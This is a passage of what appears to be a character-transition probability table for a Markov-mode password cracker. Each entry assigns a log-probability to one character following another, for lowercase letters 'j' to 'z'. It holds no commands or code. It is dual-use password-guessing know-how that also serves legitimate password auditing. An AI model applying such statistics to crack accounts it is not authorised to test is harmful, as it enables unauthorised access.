-84=proba2[106*256+87] -91=proba2[106*256+89] -84=proba2[106*256+95] -19=proba2[106*256+97] -35=proba2[106*256+98] -31=proba2[106*256+99] -38=proba2[106*256+100] -19=proba2[106*256+101] -36=proba2[106*256+102] -43=proba2[106*256+103] -48=proba2[106*256+104] -30=proba2[106*256+105] -39=proba2[106*256+106] -44=proba2[106*256+107] -35=proba2[106*256+108] -32=proba2[106*256+109] -46=proba2[106*256+110] -18=proba2[106*256+111] -30=proba2[106*256+112] -64=proba2[106*256+113] -41=proba2[106*256+114] -40=proba2[106*256+115] -44=proba2[106*256+116] -22=proba2[106*256+117] -48=proba2[106*256+118] -56=proba2[106*256+119] -61=proba2[106*256+120] -47=proba2[106*256+121] -59=proba2[106*256+122] -91=proba2[106*256+123] -37=proba1[107] -78=proba2[107*256+32] -78=proba2[107*256+33] -92=proba2[107*256+34] -92=proba2[107*256+36] -76=proba2[107*256+38] -92=proba2[107*256+39] -92=proba2[107*256+41] -92=proba2[107*256+42] -92=proba2[107*256+44] -76=proba2[107*256+45] -76=proba2[107*256+46] -50=proba2[107*256+48] -41=proba2[107*256+49] -45=proba2[107*256+50] -52=proba2[107*256+51] -55=proba2[107*256+52] -57=proba2[107*256+53] -51=proba2[107*256+54] -50=proba2[107*256+55] -50=proba2[107*256+56] -49=proba2[107*256+57] -92=proba2[107*256+59] -92=proba2[107*256+63] -81=proba2[107*256+64] -85=proba2[107*256+65] -92=proba2[107*256+68] -92=proba2[107*256+69] -92=proba2[107*256+70] -78=proba2[107*256+71] -92=proba2[107*256+72] -92=proba2[107*256+77] -92=proba2[107*256+78] -74=proba2[107*256+80] -85=proba2[107*256+81] -92=proba2[107*256+82] -81=proba2[107*256+84] -85=proba2[107*256+85] -92=proba2[107*256+87] -92=proba2[107*256+88] -92=proba2[107*256+95] -16=proba2[107*256+97] -45=proba2[107*256+98] -44=proba2[107*256+99] -46=proba2[107*256+100] -19=proba2[107*256+101] -47=proba2[107*256+102] -50=proba2[107*256+103] -35=proba2[107*256+104] -18=proba2[107*256+105] -50=proba2[107*256+106] -39=proba2[107*256+107] -36=proba2[107*256+108] -41=proba2[107*256+109] -43=proba2[107*256+110] -23=proba2[107*256+111] -46=proba2[107*256+112] -66=proba2[107*256+113] -32=proba2[107*256+114] -36=proba2[107*256+115] -44=proba2[107*256+116] -34=proba2[107*256+117] -58=proba2[107*256+118] -46=proba2[107*256+119] -63=proba2[107*256+120] -30=proba2[107*256+121] -50=proba2[107*256+122] -30=proba1[108] -92=proba2[108*256+32] -85=proba2[108*256+33] -106=proba2[108*256+35] -95=proba2[108*256+36] -83=proba2[108*256+38] -106=proba2[108*256+39] -106=proba2[108*256+40] -106=proba2[108*256+41] -95=proba2[108*256+42] -106=proba2[108*256+43] -86=proba2[108*256+44] -83=proba2[108*256+45] -83=proba2[108*256+46] -53=proba2[108*256+48] -47=proba2[108*256+49] -52=proba2[108*256+50] -57=proba2[108*256+51] -63=proba2[108*256+52] -62=proba2[108*256+53] -59=proba2[108*256+54] -60=proba2[108*256+55] -63=proba2[108*256+56] -55=proba2[108*256+57] -95=proba2[108*256+59] -106=proba2[108*256+61] -86=proba2[108*256+64] -86=proba2[108*256+65] -90=proba2[108*256+66] -95=proba2[108*256+67] -99=proba2[108*256+68] -88=proba2[108*256+69] -106=proba2[108*256+70] -99=proba2[108*256+71] -99=proba2[108*256+75] -106=proba2[108*256+76] -95=proba2[108*256+77] -106=proba2[108*256+78] -99=proba2[108*256+79] -92=proba2[108*256+80] -99=proba2[108*256+82] -90=proba2[108*256+84] -92=proba2[108*256+85] -106=proba2[108*256+86] -106=proba2[108*256+87] -106=proba2[108*256+88] -99=proba2[108*256+89] -106=proba2[108*256+90] -86=proba2[108*256+95] -18=proba2[108*256+97] -42=proba2[108*256+98] -43=proba2[108*256+99] -36=proba2[108*256+100] -16=proba2[108*256+101] -43=proba2[108*256+102] -47=proba2[108*256+103] -50=proba2[108*256+104] -19=proba2[108*256+105] -56=proba2[108*256+106] -49=proba2[108*256+107] -22=proba2[108*256+108] -41=proba2[108*256+109] -53=proba2[108*256+110] -20=proba2[108*256+111] -41=proba2[108*256+112] -74=proba2[108*256+113] -50=proba2[108*256+114] -41=proba2[108*256+115] -39=proba2[108*256+116] -31=proba2[108*256+117] -44=proba2[108*256+118] -59=proba2[108*256+119] -63=proba2[108*256+120] -37=proba2[108*256+121] -60=proba2[108*256+122] -25=proba1[109] -83=proba2[109*256+32] -84=proba2[109*256+33] -102=proba2[109*256+34] -102=proba2[109*256+35] -91=proba2[109*256+36] -102=proba2[109*256+37] -88=proba2[109*256+38] -88=proba2[109*256+39] -95=proba2[109*256+41] -86=proba2[109*256+42] -88=proba2[109*256+43] -88=proba2[109*256+44] -83=proba2[109*256+45] -79=proba2[109*256+46] -54=proba2[109*256+48] -45=proba2[109*256+49] -49=proba2[109*256+50] -57=proba2[109*256+51] -60=proba2[109*256+52] -59=proba2[109*256+53] -60=proba2[109*256+54] -58=proba2[109*256+55] -61=proba2[109*256+56] -54=proba2[109*256+57] -91=proba2[109*256+59] -102=proba2[109*256+60] -91=proba2[109*256+61] -95=proba2[109*256+63] -81=proba2[109*256+64] -88=proba2[109*256+65] -102=proba2[109*256+66] -102=proba2[109*256+67] -95=proba2[109*256+68] -102=proba2[109*256+70] -95=proba2[109*256+71] -91=proba2[109*256+72] -102=proba2[109*256+74] -102=proba2[109*256+76] -91=proba2[109*256+77] -102=proba2[109*256+78] -102=proba2[109*256+80] -102=proba2[109*256+81] -95=proba2[109*256+84] -95=proba2[109*256+85] -95=proba2[109*256+86] -102=proba2[109*256+88] -102=proba2[109*256+89] -91=proba2[109*256+95] -12=proba2[109*256+97] -34=proba2[109*256+98] -41=proba2[109*256+99] -45=proba2[109*256+100] -20=proba2[109*256+101] -50=proba2[109*256+102] -49=proba2[109*256+103] -53=proba2[109*256+104] -20=proba2[109*256+105] -51=proba2[109*256+106] -55=proba2[109*256+107] -44=proba2[109*256+108] -35=proba2[109*256+109] -50=proba2[109*256+110] -20=proba2[109*256+111] -33=proba2[109*256+112] -67=proba2[109*256+113] -46=proba2[109*256+114] -39=proba2[109*256+115] -47=proba2[109*256+116] -34=proba2[109*256+117] -57=proba2[109*256+118] -60=proba2[109*256+119] -60=proba2[109*256+120] -35=proba2[109*256+121] -59=proba2[109*256+122] -102=proba2[109*256+125] -35=proba1[110] -86=proba2[110*256+32] -84=proba2[110*256+33] -94=proba2[110*256+35] -94=proba2[110*256+36] -105=proba2[110*256+37] -84=proba2[110*256+38] -91=proba2[110*256+39] -105=proba2[110*256+40] -105=proba2[110*256+41] -79=proba2[110*256+42] -87=proba2[110*256+43] -87=proba2[110*256+44] -77=proba2[110*256+45] -87=proba2[110*256+46] -51=proba2[110*256+48] -42=proba2[110*256+49] -47=proba2[110*256+50] -56=proba2[110*256+51] -61=proba2[110*256+52] -60=proba2[110*256+53] -54=proba2[110*256+54] -56=proba2[110*256+55] -62=proba2[110*256+56] -55=proba2[110*256+57] -91=proba2[110*256+59] -105=proba2[110*256+61] -98=proba2[110*256+63] -86=proba2[110*256+64] -86=proba2[110*256+65] -98=proba2[110*256+66] -105=proba2[110*256+67] -91=proba2[110*256+68] -98=proba2[110*256+69] -105=proba2[110*256+70] -89=proba2[110*256+71] -105=proba2[110*256+72] -84=proba2[110*256+73] -98=proba2[110*256+74] -105=proba2[110*256+75] -98=proba2[110*256+76] -98=proba2[110*256+77] -91=proba2[110*256+79] -98=proba2[110*256+80] -98=proba2[110*256+82] -83=proba2[110*256+83] -105=proba2[110*256+84] -105=proba2[110*256+85] -105=proba2[110*256+87] -89=proba2[110*256+89] -94=proba2[110*256+90] -105=proba2[110*256+94] -84=proba2[110*256+95] -22=proba2[110*256+97] -45=proba2[110*256+98] -30=proba2[110*256+99] -26=proba2[110*256+100] -17=proba2[110*256+101] -43=proba2[110*256+102] -29=proba2[110*256+103] -50=proba2[110*256+104] -22=proba2[110*256+105] -45=proba2[110*256+106] -41=proba2[110*256+107] -48=proba2[110*256+108] -48=proba2[110*256+109] -30=proba2[110*256+110] -24=proba2[110*256+111] -48=proba2[110*256+112] -64=proba2[110*256+113] -48=proba2[110*256+114] -33=proba2[110*256+115] -25=proba2[110*256+116] -39=proba2[110*256+117] -54=proba2[110*256+118] -58=proba2[110*256+119] -60=proba2[110*256+120] -40=proba2[110*256+121] -47=proba2[110*256+122] -105=proba2[110*256+125] -41=proba1[111] -90=proba2[111*256+32] -85=proba2[111*256+33] -108=proba2[111*256+35] -97=proba2[111*256+36] -108=proba2[111*256+37] -101=proba2[111*256+38] -101=proba2[111*256+39] -108=proba2[111*256+40] -89=proba2[111*256+42] -90=proba2[111*256+43] -94=proba2[111*256+44] -89=proba2[111*256+45] -83=proba2[111*256+46] -55=proba2[111*256+48] -45=proba2[111*256+49] -50=proba2[111*256+50] -57=proba2[111*256+51] -61=proba2[111*256+52] -62=proba2[111*256+53] -59=proba2[111*256+54] -56=proba2[111*256+55] -64=proba2[111*256+56] -55=proba2[111*256+57] -94=proba2[111*256+59] -97=proba2[111*256+61] -108=proba2[111*256+62] -108=proba2[111*256+63] -97=proba2[111*256+64] -92=proba2[111*256+66] -94=proba2[111*256+67] -108=proba2[111*256+68] -108=proba2[111*256+69] -94=proba2[111*256+70] -94=proba2[111*256+71] -108=proba2[111*256+72] -101=proba2[111*256+73] -97=proba2[111*256+74] -101=proba2[111*256+76] -97=proba2[111*256+77] -101=proba2[111*256+78] -94=proba2[111*256+80] -101=proba2[111*256+81] -92=proba2[111*256+82] -89=proba2[111*256+83] -89=proba2[111*256+84] -92=proba2[111*256+85] -101=proba2[111*256+88] -108=proba2[111*256+90] -92=proba2[111*256+95] -46=proba2[111*256+97] -36=proba2[111*256+98] -34=proba2[111*256+99] -36=proba2[111*256+100] -44=proba2[111*256+101] -41=proba2[111*256+102] -39=proba2[111*256+103] -47=proba2[111*256+104] -33=proba2[111*256+105] -53=proba2[111*256+106] -42=proba2[111*256+107] -25=proba2[111*256+108] -29=proba2[111*256+109] -19=proba2[111*256+110] -33=proba2[111*256+111] -34=proba2[111*256+112] -60=proba2[111*256+113] -23=proba2[111*256+114] -31=proba2[111*256+115] -30=proba2[111*256+116] -17=proba2[111*256+117] -42=proba2[111*256+118] -43=proba2[111*256+119] -48=proba2[111*256+120] -42=proba2[111*256+121] -48=proba2[111*256+122] -28=proba1[112] -92=proba2[112*256+32] -76=proba2[112*256+33] -85=proba2[112*256+36] -88=proba2[112*256+38] -85=proba2[112*256+43] -88=proba2[112*256+44] -85=proba2[112*256+45] -78=proba2[112*256+46] -55=proba2[112*256+48] -47=proba2[112*256+49] -49=proba2[112*256+50] -51=proba2[112*256+51] -58=proba2[112*256+52] -58=proba2[112*256+53] -58=proba2[112*256+54] -56=proba2[112*256+55] -65=proba2[112*256+56] -55=proba2[112*256+57] -92=proba2[112*256+59] -99=proba2[112*256+61] -99=proba2[112*256+63] -92=proba2[112*256+64] -85=proba2[112*256+67] -99=proba2[112*256+68] -99=proba2[112*256+69] -99=proba2[112*256+71] -92=proba2[112*256+72] -92=proba2[112*256+73] -99=proba2[112*256+75] -99=proba2[112*256+76] -88=proba2[112*256+77] -85=proba2[112*256+78] -92=proba2[112*256+79] -88=proba2[112*256+80] -88=proba2[112*256+82] -92=proba2[112*256+83] -83=proba2[112*256+84] -99=proba2[112*256+86] -99=proba2[112*256+87] -85=proba2[112*256+89] -99=proba2[112*256+90] -83=proba2[112*256+95] -17=proba2[112*256+97] -45=proba2[112*256+98] -40=proba2[112*256+99] -48=proba2[112*256+100] -20=proba2[112*256+101] -47=proba2[112*256+102] -48=proba2[112*256+103] -23=proba2[112*256+104] -21=proba2[112*256+105] -51=proba2[112*256+106] -53=proba2[112*256+107] -31=proba2[112*256+108] -42=proba2[112*256+109] -52=proba2[112*256+110] -21=proba2[112*256+111] -34=proba2[112*256+112] -60=proba2[112*256+113] -28=proba2[112*256+114] -33=proba2[112*256+115] -38=proba2[112*256+116] -36=proba2[112*256+117] -52=proba2[112*256+118] -54=proba2[112*256+119] -63=proba2[112*256+120] -39=proba2[112*256+121] -58=proba2[112*256+122] -54=proba1[113] -77=proba2[113*256+32] -77=proba2[113*256+44] -70=proba2[113*256+45] -70=proba2[113*256+46] -61=proba2[113*256+48] -39=proba2[113*256+49] -42=proba2[113*256+50] -50=proba2[113*256+51] -52=proba2[113*256+52] -45=proba2[113*256+53] -50=proba2[113*256+54] -46=proba2[113*256+55] -54=proba2[113*256+56] -44=proba2[113*256+57] -77=proba2[113*256+66] -77=proba2[113*256+68] -66=proba2[113*256+69] -77=proba2[113*256+70] -77=proba2[113*256+72] -77=proba2[113*256+74] -77=proba2[113*256+75] -77=proba2[113*256+79] -70=proba2[113*256+80] -77=proba2[113*256+81] -77=proba2[113*256+82] -66=proba2[113*256+83] -77=proba2[113*256+84] -77=proba2[113*256+85] -70=proba2[113*256+87] -70=proba2[113*256+88] -63=proba2[113*256+90] -35=proba2[113*256+97] -41=proba2[113*256+98] -37=proba2[113*256+99] -43=proba2[113*256+100] -44=proba2[113*256+101] -42=proba2[113*256+102] -50=proba2[113*256+103] -50=proba2[113*256+104] -43=proba2[113*256+105] -46=proba2[113*256+106] -52=proba2[113*256+107] -48=proba2[113*256+108] -41=proba2[113*256+109] -48=proba2[113*256+110] -53=proba2[113*256+111] -41=proba2[113*256+112] -40=proba2[113*256+113] -43=proba2[113*256+114] -35=proba2[113*256+115] -41=proba2[113*256+116] -6=proba2[113*256+117] -45=proba2[113*256+118] -30=proba2[113*256+119] -49=proba2[113*256+120] -53=proba2[113*256+121] -46=proba2[113*256+122] -34=proba1[114] -88=proba2[114*256+32] -82=proba2[114*256+33] -100=proba2[114*256+35] -89=proba2[114*256+36] -107=proba2[114*256+37] -88=proba2[114*256+38] -107=proba2[114*256+39] -100=proba2[114*256+41] -89=proba2[114*256+42] -89=proba2[114*256+43] -107=proba2[114*256+44] -84=proba2[114*256+45] -84=proba2[114*256+46] -56=proba2[114*256+48] -45=proba2[114*256+49] -50=proba2[114*256+50] -58=proba2[114*256+51] -60=proba2[114*256+52] -60=proba2[114*256+53] -59=proba2[114*256+54] -57=proba2[114*256+55] -62=proba2[114*256+56] -56=proba2[114*256+57] -107=proba2[114*256+59] -107=proba2[114*256+61] -107=proba2[114*256+63] -83=proba2[114*256+64] -107=proba2[114*256+65] -100=proba2[114*256+66] -107=proba2[114*256+67] -107=proba2[114*256+68] -100=proba2[114*256+69] -100=proba2[114*256+70] -100=proba2[114*256+71] -100=proba2[114*256+72] -100=proba2[114*256+73] -107=proba2[114*256+74] -96=proba2[114*256+75] -96=proba2[114*256+76] -93=proba2[114*256+77] -107=proba2[114*256+78] -100=proba2[114*256+79] -100=proba2[114*256+80] -96=proba2[114*256+81] -107=proba2[114*256+82] -89=proba2[114*256+83] -96=proba2[114*256+84] -96=proba2[114*256+85] -100=proba2[114*256+86] -107=proba2[114*256+87] -107=proba2[114*256+91] -96=proba2[114*256+95] -20=proba2[114*256+97] -41=proba2[114*256+98] -35=proba2[114*256+99] -30=proba2[114*256+100] -18=proba2[114*256+101] -45=proba2[114*256+102] -37=proba2[114*256+103] -54=proba2[114*256+104] -19=proba2[114*256+105] -56=proba2[114*256+106] -44=proba2[114*256+107] -38=proba2[114*256+108] -39=proba2[114*256+109] -36=proba2[114*256+110] -21=proba2[114*256+111] -44=proba2[114*256+112] -62=proba2[114*256+113] -35=proba2[114*256+114] -35=proba2[114*256+115] -28=proba2[114*256+116] -35=proba2[114*256+117] -46=proba2[114*256+118] -54=proba2[114*256+119] -66=proba2[114*256+120] -39=proba2[114*256+121] -57=proba2[114*256+122] -96=proba2[114*256+125] -26=proba1[115] -84=proba2[115*256+32] -84=proba2[115*256+33] -93=proba2[115*256+35] -93=proba2[115*256+36] -90=proba2[115*256+37] -86=proba2[115*256+38] -104=proba2[115*256+39] -104=proba2[115*256+41] -86=proba2[115*256+42] -84=proba2[115*256+43] -90=proba2[115*256+44] -83=proba2[115*256+45] -79=proba2[115*256+46] -50=proba2[115*256+48] -41=proba2[115*256+49] -45=proba2[115*256+50] -54=proba2[115*256+51] -56=proba2[115*256+52] -55=proba2[115*256+53] -55=proba2[115*256+54] -53=proba2[115*256+55] -59=proba2[115*256+56] -51=proba2[115*256+57] -104=proba2[115*256+59] -104=proba2[115*256+60] -104=proba2[115*256+61] -97=proba2[115*256+63] -88=proba2[115*256+64] -97=proba2[115*256+65] -104=proba2[115*256+66] -104=proba2[115*256+67] -83=proba2[115*256+68] -104=proba2[115*256+69] -93=proba2[115*256+70] -104=proba2[115*256+71] -97=proba2[115*256+72] -97=proba2[115*256+73] -104=proba2[115*256+75] -104=proba2[115*256+76] -86=proba2[115*256+77] -97=proba2[115*256+81] -97=proba2[115*256+82] -104=proba2[115*256+83] -97=proba2[115*256+84] -104=proba2[115*256+86] -104=proba2[115*256+87] -104=proba2[115*256+89] -81=proba2[115*256+95] -104=proba2[115*256+96] -22=proba2[115*256+97] -43=proba2[115*256+98] -30=proba2[115*256+99] -43=proba2[115*256+100] -21=proba2[115*256+101] -48=proba2[115*256+102] -47=proba2[115*256+103] -33=proba2[115*256+104] -25=proba2[115*256+105] -54=proba2[115*256+106] -38=proba2[115*256+107] -40=proba2[115*256+108] -37=proba2[115*256+109] -41=proba2[115*256+110] -26=proba2[115*256+111] -33=proba2[115*256+112] -53=proba2[115*256+113] -48=proba2[115*256+114] -23=proba2[115*256+115] -19=proba2[115*256+116] -34=proba2[115*256+117] -53=proba2[115*256+118] -46=proba2[115*256+119] -56=proba2[115*256+120] -37=proba2[115*256+121] -60=proba2[115*256+122] -31=proba1[116] -87=proba2[116*256+32] -77=proba2[116*256+33] -92=proba2[116*256+36] -83=proba2[116*256+38] -92=proba2[116*256+39] -90=proba2[116*256+42] -97=proba2[116*256+43] -103=proba2[116*256+44] -79=proba2[116*256+45] -90=proba2[116*256+46] -54=proba2[116*256+48] -44=proba2[116*256+49] -48=proba2[116*256+50] -56=proba2[116*256+51] -57=proba2[116*256+52] -60=proba2[116*256+53] -57=proba2[116*256+54] -57=proba2[116*256+55] -61=proba2[116*256+56] -54=proba2[116*256+57] -103=proba2[116*256+59] -97=proba2[116*256+61] -86=proba2[116*256+64] -87=proba2[116*256+65] -92=proba2[116*256+66] -97=proba2[116*256+68] -92=proba2[116*256+69] -103=proba2[116*256+71] -103=proba2[116*256+72] -97=proba2[116*256+73] -97=proba2[116*256+74] -103=proba2[116*256+76] -90=proba2[116*256+77] -92=proba2[116*256+78] -97=proba2[116*256+79] -103=proba2[116*256+80] -103=proba2[116*256+81] -87=proba2[116*256+82] -92=proba2[116*256+84] -103=proba2[116*256+85] -103=proba2[116*256+86] -97=proba2[116*256+88] -92=proba2[116*256+89] -81=proba2[116*256+95] -21=proba2[116*256+97] -46=proba2[116*256+98] -38=proba2[116*256+99] -48=proba2[116*256+100] -17=proba2[116*256+101] -50=proba2[116*256+102] -51=proba2[116*256+103] -24=proba2[116*256+104] -21=proba2[116*256+105] -55=proba2[116*256+106] -58=proba2[116*256+107] -43=proba2[116*256+108] -42=proba2[116*256+109] -47=proba2[116*256+110] -20=proba2[116*256+111] -47=proba2[116*256+112] -67=proba2[116*256+113] -25=proba2[116*256+114] -37=proba2[116*256+115] -29=proba2[116*256+116] -34=proba2[116*256+117] -54=proba2[116*256+118] -49=proba2[116*256+119] -60=proba2[116*256+120] -37=proba2[116*256+121] -48=proba2[116*256+122] -103=proba2[116*256+124] -51=proba1[117] -102=proba2[117*256+32] -81=proba2[117*256+33] -95=proba2[117*256+35] -91=proba2[117*256+36] -102=proba2[117*256+37] -88=proba2[117*256+38] -102=proba2[117*256+40] -86=proba2[117*256+42] -102=proba2[117*256+43] -95=proba2[117*256+44] -81=proba2[117*256+45] -84=proba2[117*256+46] -58=proba2[117*256+48] -47=proba2[117*256+49] -50=proba2[117*256+50] -58=proba2[117*256+51] -61=proba2[117*256+52] -60=proba2[117*256+53] -57=proba2[117*256+54] -58=proba2[117*256+55] -63=proba2[117*256+56] -57=proba2[117*256+57] -102=proba2[117*256+59] -102=proba2[117*256+61] -102=proba2[117*256+63] -102=proba2[117*256+64] -102=proba2[117*256+65] -91=proba2[117*256+66] -91=proba2[117*256+68] -88=proba2[117*256+70] -95=proba2[117*256+71] -102=proba2[117*256+72] -102=proba2[117*256+73] -86=proba2[117*256+75] -88=proba2[117*256+76] -102=proba2[117*256+77] -102=proba2[117*256+78] -91=proba2[117*256+79] -91=proba2[117*256+80] -86=proba2[117*256+82] -88=proba2[117*256+83] -88=proba2[117*256+84] -102=proba2[117*256+85] -102=proba2[117*256+87] -91=proba2[117*256+88] -102=proba2[117*256+90] -102=proba2[117*256+91] -102=proba2[117*256+93] -84=proba2[117*256+95] -35=proba2[117*256+97] -32=proba2[117*256+98] -29=proba2[117*256+99] -28=proba2[117*256+100] -27=proba2[117*256+101] -40=proba2[117*256+102] -36=proba2[117*256+103] -51=proba2[117*256+104] -27=proba2[117*256+105] -49=proba2[117*256+106] -42=proba2[117*256+107] -23=proba2[117*256+108] -32=proba2[117*256+109] -26=proba2[117*256+110] -51=proba2[117*256+111] -33=proba2[117*256+112] -60=proba2[117*256+113] -20=proba2[117*256+114] -23=proba2[117*256+115] -29=proba2[117*256+116] -59=proba2[117*256+117] -43=proba2[117*256+118] -61=proba2[117*256+119] -37=proba2[117*256+120] -45=proba2[117*256+121] -43=proba2[117*256+122] -38=proba1[118] -72=proba2[118*256+33] -85=proba2[118*256+35] -85=proba2[118*256+36] -85=proba2[118*256+38] -85=proba2[118*256+42] -85=proba2[118*256+43] -92=proba2[118*256+44] -92=proba2[118*256+45] -74=proba2[118*256+46] -57=proba2[118*256+48] -47=proba2[118*256+49] -50=proba2[118*256+50] -57=proba2[118*256+51] -56=proba2[118*256+52] -54=proba2[118*256+53] -57=proba2[118*256+54] -56=proba2[118*256+55] -55=proba2[118*256+56] -55=proba2[118*256+57] -85=proba2[118*256+61] -81=proba2[118*256+64] -81=proba2[118*256+65] -85=proba2[118*256+66] -92=proba2[118*256+67] -92=proba2[118*256+68] -85=proba2[118*256+69] -92=proba2[118*256+71] -78=proba2[118*256+72] -85=proba2[118*256+75] -92=proba2[118*256+76] -92=proba2[118*256+77] -92=proba2[118*256+79] -92=proba2[118*256+80] -85=proba2[118*256+81] -92=proba2[118*256+84] -81=proba2[118*256+85] -85=proba2[118*256+95] -16=proba2[118*256+97] -42=proba2[118*256+98] -44=proba2[118*256+99] -42=proba2[118*256+100] -14=proba2[118*256+101] -50=proba2[118*256+102] -50=proba2[118*256+103] -51=proba2[118*256+104] -13=proba2[118*256+105] -55=proba2[118*256+106] -56=proba2[118*256+107] -42=proba2[118*256+108] -45=proba2[118*256+109] -49=proba2[118*256+110] -27=proba2[118*256+111] -47=proba2[118*256+112] -59=proba2[118*256+113] -34=proba2[118*256+114] -45=proba2[118*256+115] -46=proba2[118*256+116] -46=proba2[118*256+117] -48=proba2[118*256+118] -58=proba2[118*256+119] -57=proba2[118*256+120] -44=proba2[118*256+121] -61=proba2[118*256+122] -43=proba1[119] -86=proba2[119*256+32] -86=proba2[119*256+33] -86=proba2[119*256+34] -72=proba2[119*256+37] -86=proba2[119*256+38] -79=proba2[119*256+42] -86=proba2[119*256+44] -79=proba2[119*256+45] -79=proba2[119*256+46] -56=proba2[119*256+48] -47=proba2[119*256+49] -45=proba2[119*256+50] -50=proba2[119*256+51] -52=proba2[119*256+52] -57=proba2[119*256+53] -55=proba2[119*256+54] -52=proba2[119*256+55] -55=proba2[119*256+56] -53=proba2[119*256+57] -79=proba2[119*256+65] -86=proba2[119*256+68] -86=proba2[119*256+69] -79=proba2[119*256+70] -86=proba2[119*256+71] -86=proba2[119*256+72] -86=proba2[119*256+73] -79=proba2[119*256+74] -86=proba2[119*256+77] -79=proba2[119*256+81] -79=proba2[119*256+83] -86=proba2[119*256+84] -75=proba2[119*256+86] -86=proba2[119*256+89] -86=proba2[119*256+90] -79=proba2[119*256+95] -16=proba2[119*256+97] -42=proba2[119*256+98] -46=proba2[119*256+99] -43=proba2[119*256+100] -14=proba2[119*256+101] -46=proba2[119*256+102] -47=proba2[119*256+103] -38=proba2[119*256+104] -20=proba2[119*256+105] -53=proba2[119*256+106] -46=proba2[119*256+107] -44=proba2[119*256+108] -47=proba2[119*256+109] -39=proba2[119*256+110] -22=proba2[119*256+111] -49=proba2[119*256+112] -55=proba2[119*256+113] -42=proba2[119*256+114] -34=proba2[119*256+115] -46=proba2[119*256+116] -45=proba2[119*256+117] -59=proba2[119*256+118] -36=proba2[119*256+119] -43=proba2[119*256+120] -40=proba2[119*256+121] -49=proba2[119*256+122] -51=proba1[120] -82=proba2[120*256+37] -76=proba2[120*256+38] -82=proba2[120*256+39] -82=proba2[120*256+42] -82=proba2[120*256+43] -76=proba2[120*256+44] -61=proba2[120*256+45] -66=proba2[120*256+46] -40=proba2[120*256+48] -31=proba2[120*256+49] -35=proba2[120*256+50] -39=proba2[120*256+51] -44=proba2[120*256+52] -47=proba2[120*256+53] -42=proba2[120*256+54] -42=proba2[120*256+55] -45=proba2[120*256+56] -41=proba2[120*256+57] -82=proba2[120*256+59] -82=proba2[120*256+63] -82=proba2[120*256+64] -82=proba2[120*256+65] -82=proba2[120*256+68] -82=proba2[120*256+70] -76=proba2[120*256+71] -76=proba2[120*256+72] -82=proba2[120*256+76] -76=proba2[120*256+77] -76=proba2[120*256+80] -76=proba2[120*256+81] -82=proba2[120*256+82] -82=proba2[120*256+83] -82=proba2[120*256+84] -76=proba2[120*256+85] -82=proba2[120*256+86] -82=proba2[120*256+87] -82=proba2[120*256+88] -82=proba2[120*256+90] -82=proba2[120*256+93] -82=proba2[120*256+95] -24=proba2[120*256+97] -38=proba2[120*256+98] -32=proba2[120*256+99] -40=proba2[120*256+100] -25=proba2[120*256+101] -37=proba2[120*256+102] -44=proba2[120*256+103] -48=proba2[120*256+104] -24=proba2[120*256+105] -48=proba2[120*256+106] -49=proba2[120*256+107] -38=proba2[120*256+108] -34=proba2[120*256+109] -45=proba2[120*256+110] -31=proba2[120*256+111] -32=proba2[120*256+112] -51=proba2[120*256+113] -41=proba2[120*256+114] -36=proba2[120*256+115] -31=proba2[120*256+116] -40=proba2[120*256+117] -45=proba2[120*256+118] -42=proba2[120*256+119] -24=proba2[120*256+120] -33=proba2[120*256+121] -45=proba2[120*256+122] -45=proba1[121] -75=proba2[121*256+32] -72=proba2[121*256+33] -91=proba2[121*256+34] -80=proba2[121*256+36] -78=proba2[121*256+38] -91=proba2[121*256+39] -91=proba2[121*256+41] -69=proba2[121*256+42] -78=proba2[121*256+44] -69=proba2[121*256+45] -84=proba2[121*256+46] -43=proba2[121*256+48] -34=proba2[121*256+49] -38=proba2[121*256+50] -48=proba2[121*256+51] -46=proba2[121*256+52] -51=proba2[121*256+53] -47=proba2[121*256+54] -44=proba2[121*256+55] -49=proba2[121*256+56] -43=proba2[121*256+57] -91=proba2[121*256+59] -78=proba2[121*256+63] -91=proba2[121*256+64] -84=proba2[121*256+65] -84=proba2[121*256+66] -80=proba2[121*256+67] -73=proba2[121*256+68] -91=proba2[121*256+69] -91=proba2[121*256+72] -84=proba2[121*256+74] -84=proba2[121*256+76] -78=proba2[121*256+77] -91=proba2[121*256+78] -84=proba2[121*256+80] -91=proba2[121*256+82] -80=proba2[121*256+83] -66=proba2[121*256+84] -78=proba2[121*256+85] -80=proba2[121*256+88] -91=proba2[121*256+89] -91=proba2[121*256+93] -78=proba2[121*256+95] -22=proba2[121*256+97] -28=proba2[121*256+98] -33=proba2[121*256+99] -35=proba2[121*256+100] -27=proba2[121*256+101] -44=proba2[121*256+102] -32=proba2[121*256+103] -49=proba2[121*256+104] -48=proba2[121*256+105] -47=proba2[121*256+106] -44=proba2[121*256+107] -27=proba2[121*256+108] -32=proba2[121*256+109] -31=proba2[121*256+110] -24=proba2[121*256+111] -35=proba2[121*256+112] -63=proba2[121*256+113] -30=proba2[121*256+114] -25=proba2[121*256+115] -37=proba2[121*256+116] -39=proba2[121*256+117] -37=proba2[121*256+118] -48=proba2[121*256+119] -48=proba2[121*256+120] -47=proba2[121*256+121] -45=proba2[121*256+122] -44=proba1[122] -80=proba2[122*256+33] -87=proba2[122*256+34] -87=proba2[122*256+35] -87=proba2[122*256+36] -87=proba2[122*256+37] -80=proba2[122*256+38] -76=proba2[122*256+40] -87=proba2[122*256+42] -76=proba2[122*256+44] -73=proba2[122*256+45] -53=proba2[122*256+48] -46=proba2[122*256+49] -46=proba2[122*256+50] -46=proba2[122*256+51] -49=proba2[122*256+52] -53=proba2[122*256+53] -49=proba2[122*256+54] -52=proba2[122*256+55] -49=proba2[122*256+56] -52=proba2[122*256+57] -87=proba2[122*256+59] -80=proba2[122*256+64] -80=proba2[122*256+65] -87=proba2[122*256+66] -87=proba2[122*256+67] -87=proba2[122*256+68] -87=proba2[122*256+70] -80=proba2[122*256+71] -80=proba2[122*256+73] -80=proba2[122*256+75] -87=proba2[122*256+76] -73=proba2[122*256+77] -87=proba2[122*256+78] -87=proba2[122*256+81] -87=proba2[122*256+83] -87=proba2[122*256+85] -87=proba2[122*256+87] -80=proba2[122*256+88] -73=proba2[122*256+89] -80=proba2[122*256+95] -18=proba2[122*256+97] -44=proba2[122*256+98] -48=proba2[122*256+99] -46=proba2[122*256+100] -17=proba2[122*256+101] -51=proba2[122*256+102] -47=proba2[122*256+103] -41=proba2[122*256+104] -21=proba2[122*256+105] -60=proba2[122*256+106] -50=proba2[122*256+107] -44=proba2[122*256+108] -38=proba2[122*256+109] -48=proba2[122*256+110] -18=proba2[122*256+111] -50=proba2[122*256+112] -53=proba2[122*256+113] -46=proba2[122*256+114] -49=proba2[122*256+115] 